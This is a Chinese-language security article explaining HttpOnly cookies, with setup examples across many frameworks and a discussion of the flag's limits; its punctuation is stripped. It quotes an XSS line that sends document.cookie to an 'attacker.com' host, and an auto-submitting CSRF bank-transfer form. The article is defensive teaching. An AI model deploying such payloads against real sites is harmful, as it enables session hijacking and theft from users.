一、什么是 HttpOnly CookieHttpOnly 是一个可以附加在 Set-Cookie 响应头上的标志位flag。当一个 Cookie 被标记为 HttpOnly 后客户端脚本如 JavaScript将无法通过document.cookie等 API 访问该 Cookie它只会在 HTTP 请求中由浏览器自动携带发送到服务器。Set-Cookie: session_idabc123; Path/; HttpOnly; Secure; SameSiteStrict这个特性最早由微软在 2002 年引入 Internet Explorer 6 SP1随后被所有主流浏览器采纳并写入 RFC 6265HTTP State Management Mechanism规范。二、为什么需要 HttpOnly2.1 核心威胁XSS 窃取会话Web 安全中最常见的攻击之一是跨站脚本攻击XSS。攻击者一旦在目标页面注入恶意脚本就可以轻松窃取用户的 Cookie// 攻击者注入的恶意代码newImage().srchttps://attacker.com/steal?cookiedocument.cookie;如果session_id没有设置 HttpOnly攻击者将立即获取用户的会话凭证进而冒充用户执行任意操作Session Hijacking。2.2 HttpOnly 的防御效果设置 HttpOnly 后即使页面存在 XSS 漏洞document.cookie也读取不到被保护的 Cookie// 假设服务端设置了Set-Cookie: session_idabc123; HttpOnlyconsole.log(document.cookie);// 不会包含 session_id这将 XSS 的危害从「会话劫持」降级为「页面内操作」大幅缩小了攻击面。三、工作原理3.1 浏览器层面的隔离┌─────────────────────────────────────────────┐ │ 浏览器 │ │ │ │ ┌──────────────┐ ┌──────────────────┐ │ │ │ JavaScript │ │ HTTP 网络引擎 │ │ │ │ 引擎 │ │ │ │ │ │ │ │ Cookie 存储 │ │ │ │ document. │──X─│ ┌────────────┐ │ │ │ │ cookie │ │ │ HttpOnly │ │ │ │ │ (无法访问) │ │ │ Cookies │──┼──┼──→ HTTP Request │ │ │ │ └────────────┘ │ │ │ │ │──○─│ ┌────────────┐ │ │ │ │ document. │ │ │ 普通 │ │ │ │ │ cookie │ │ │ Cookies │──┼──┼──→ HTTP Request │ │ (可以访问) │ │ └────────────┘ │ │ │ └──────────────┘ └──────────────────┘ │ └─────────────────────────────────────────────┘浏览器在内部将 Cookie 分为两类存储HttpOnly Cookie仅暴露给 HTTP 网络层JavaScript 引擎完全不可见普通 Cookie同时暴露给 JavaScript 引擎和 HTTP 网络层关键点HttpOnly 是浏览器强制执行的策略不依赖任何服务端逻辑。3.2 哪些 API 被拦截APIHttpOnly Cookie普通 Cookiedocument.cookie❌ 不可见✅ 可读写XMLHttpRequest自动携带✅ 自动发送✅ 自动发送fetch()自动携带✅ 自动发送✅ 自动发送Response.headers中的Set-Cookie❌ 被过滤❌ 被过滤navigator.cookieEnabled无影响无影响CookieStore API (getCookies)❌ 不可见✅ 可读取四、各语言/框架设置方式4.1 原生 HTTP 响应头Set-Cookie: session_idabc123; Path/; HttpOnly; Secure; SameSiteLax; Max-Age36004.2 Node.js (Express)// 方式一直接设置res.cookie(session_id,abc123,{httpOnly:true,secure:true,sameSite:strict,maxAge:3600000,path:/});// 方式二配合 express-sessionconstsessionrequire(express-session);app.use(session({secret:your-secret-key,cookie:{httpOnly:true,// 默认就是 truesecure:true,sameSite:strict,maxAge:3600000}}));4.3 Java (Servlet)CookiecookienewCookie(session_id,abc123);cookie.setHttpOnly(true);cookie.setSecure(true);cookie.setPath(/);cookie.setMaxAge(3600);response.addCookie(cookie);4.4 Python (Django)# settings.pySESSION_COOKIE_HTTPONLYTrue# 默认就是 TrueCSRF_COOKIE_HTTPONLYTrue# 手动设置response.set_cookie(session_id,abc123,httponlyTrue,secureTrue,samesiteStrict,max_age3600)4.5 Python (Flask)fromflaskimportFlask,make_response appFlask(__name__)app.config.update(SESSION_COOKIE_HTTPONLYTrue,SESSION_COOKIE_SECURETrue,SESSION_COOKIE_SAMESITELax)app.route(/login)deflogin():respmake_response(OK)resp.set_cookie(session_id,abc123,httponlyTrue,secureTrue)returnresp4.6 Gohttp.SetCookie(w,http.Cookie{Name:session_id,Value:abc123,HttpOnly:true,Secure:true,SameSite:http.SameSiteStrictMode,Path:/,MaxAge:3600,})4.7 PHP// PHP 7.3setcookie(session_id,abc123,[expirestime()3600,path/,securetrue,httponlytrue,samesiteStrict]);// Session Cookieini_set(session.cookie_httponly,1);ini_set(session.cookie_secure,1);4.8 Spring Boot# application.ymlserver:servlet:session:cookie:http-only:truesecure:truesame-site:strict4.9 ASP.NET CoreResponse.Cookies.Append(session_id,abc123,newCookieOptions{HttpOnlytrue,Securetrue,SameSiteSameSiteMode.Strict,MaxAgeTimeSpan.FromHours(1)});五、HttpOnly 不能防御什么HttpOnly 不是万能的理解它的局限性与理解它的作用同等重要。5.1 不能防御 CSRFHttpOnly Cookie 在每次请求时仍然会被浏览器自动携带因此 CSRF 攻击依然有效!-- 攻击者页面 --formactionhttps://bank.com/transfermethodPOSTinputtypehiddennametovalueattacker/inputtypehiddennameamountvalue10000//formscriptdocument.forms[0].submit();/script浏览器会自动附带bank.com的所有 Cookie包括 HttpOnly 的请求照常发送。解决方案配合SameSite属性 CSRF Token。5.2 不能防御网络层窃听如果没有同时设置Secure标志Cookie 可能通过 HTTP 明文传输被中间人截获。解决方案始终同时设置Secure标志强制 HTTPS 传输。5.3 不能防御 XSS 的其他危害XSS 即使无法窃取 Cookie仍然可以在用户会话内执行任意操作利用已登录状态发送请求修改页面内容进行钓鱼记录键盘输入重定向用户到恶意页面HttpOnly 是纵深防御的一层不是替代 XSS 防护的手段。5.4 不能防御 XST (Cross-Site Tracing)早期浏览器允许通过TRACE方法回显请求头包括 Cookie绕过 HttpOnly。现代浏览器已禁止XMLHttpRequest发送TRACE请求此问题基本消除。六、最佳实践6.1 Cookie 安全属性组合策略Set-Cookie: session_idabc123; HttpOnly; ← 防止 JS 读取 Secure; ← 仅 HTTPS 传输 SameSiteStrict; ← 防止 CSRF跨站请求不携带 Path/; ← 限制路径范围 Max-Age3600; ← 限制有效期 Domainexample.com ← 限制域名范围6.2 哪些 Cookie 应该设置 HttpOnlyCookie 类型设置 HttpOnly原因Session ID必须最敏感的凭证绝不应暴露给 JSJWT/Auth Token必须等价于身份凭证CSRF Token视情况若前端需要读取后放入请求头则不能设 HttpOnly用户偏好主题/语言不需要前端需要读取来渲染 UI跟踪/分析 ID不需要通常需要被 JS SDK 读取6.3 完整的会话安全方案HttpOnly Cookie (防 JS 读取) Secure Flag (防明文传输) SameSiteStrict/Lax (防 CSRF) 短过期时间 滑动续期 (缩小窗口) 服务端会话校验 (IP/UA 绑定) CSP 响应头 (缓解 XSS) 输入验证 输出编码 (根治 XSS)七、常见问题与调试7.1 如何确认 Cookie 是否设置了 HttpOnlyChrome DevToolsApplication→Cookies→ 查看HttpOnly列的勾选状态。cURL 验证curl-vhttps://example.com/login21|grep-iset-cookie# 观察响应中是否包含 HttpOnly 标志7.2 前端如何感知 HttpOnly Cookie 的存在前端无法直接感知。如果你需要知道用户是否已登录推荐方案// ✅ 正确做法调用 API 验证constresawaitfetch(/api/me,{credentials:include});if(res.ok){// 用户已登录}// ❌ 错误做法试图读取 Cookieif(document.cookie.includes(session_id)){// HttpOnly Cookie 读不到永远为 false}7.3 跨域场景下的 HttpOnly Cookie// 前端fetch(https://api.example.com/data,{credentials:include// 必须显式声明携带 Cookie});// 后端 CORS 配置Access-Control-Allow-Origin:https://app.example.com// 不能用 *Access-Control-Allow-Credentials:true7.4 SPA 应用中的 Token 存储选型方案安全性XSS 防护CSRF 防护HttpOnly Cookie 存 Session ID⭐⭐⭐⭐⭐✅ JS 不可见需配合 SameSite/TokenHttpOnly Cookie 存 JWT⭐⭐⭐⭐✅ JS 不可见需配合 SameSite/TokenlocalStorage 存 JWT⭐⭐❌ XSS 可窃取✅ 不自动发送内存变量存 JWT⭐⭐⭐⚠️ XSS 可在运行时读取✅ 不自动发送推荐SPA 使用 HttpOnly Cookie 存储认证凭证配合SameSite CSRF Token 的 BFFBackend For Frontend模式。八、浏览器兼容性HttpOnly 已获得所有现代浏览器的完整支持浏览器最低支持版本Chrome1Firefox3Safari4Edge12IE6 SP1Opera11这是一个完全可以放心使用的特性无需任何 polyfill 或降级方案。九、总结HttpOnly Cookie 是 Web 安全中成本最低、收益最高的防御措施之一一行配置即可阻断 XSS 窃取会话的攻击路径零副作用——不影响正常的 HTTP 请求流程全浏览器兼容——无需额外适配但它不是银弹。将 HttpOnly 视为纵深防御体系中的关键一层与Secure、SameSite、CSP、输入校验、输出编码等手段组合使用才能构建真正健壮的 Web 安全防线。黄金法则所有包含身份凭证的 Cookie必须同时设置HttpOnly; Secure; SameSiteStrict或Lax。没有例外。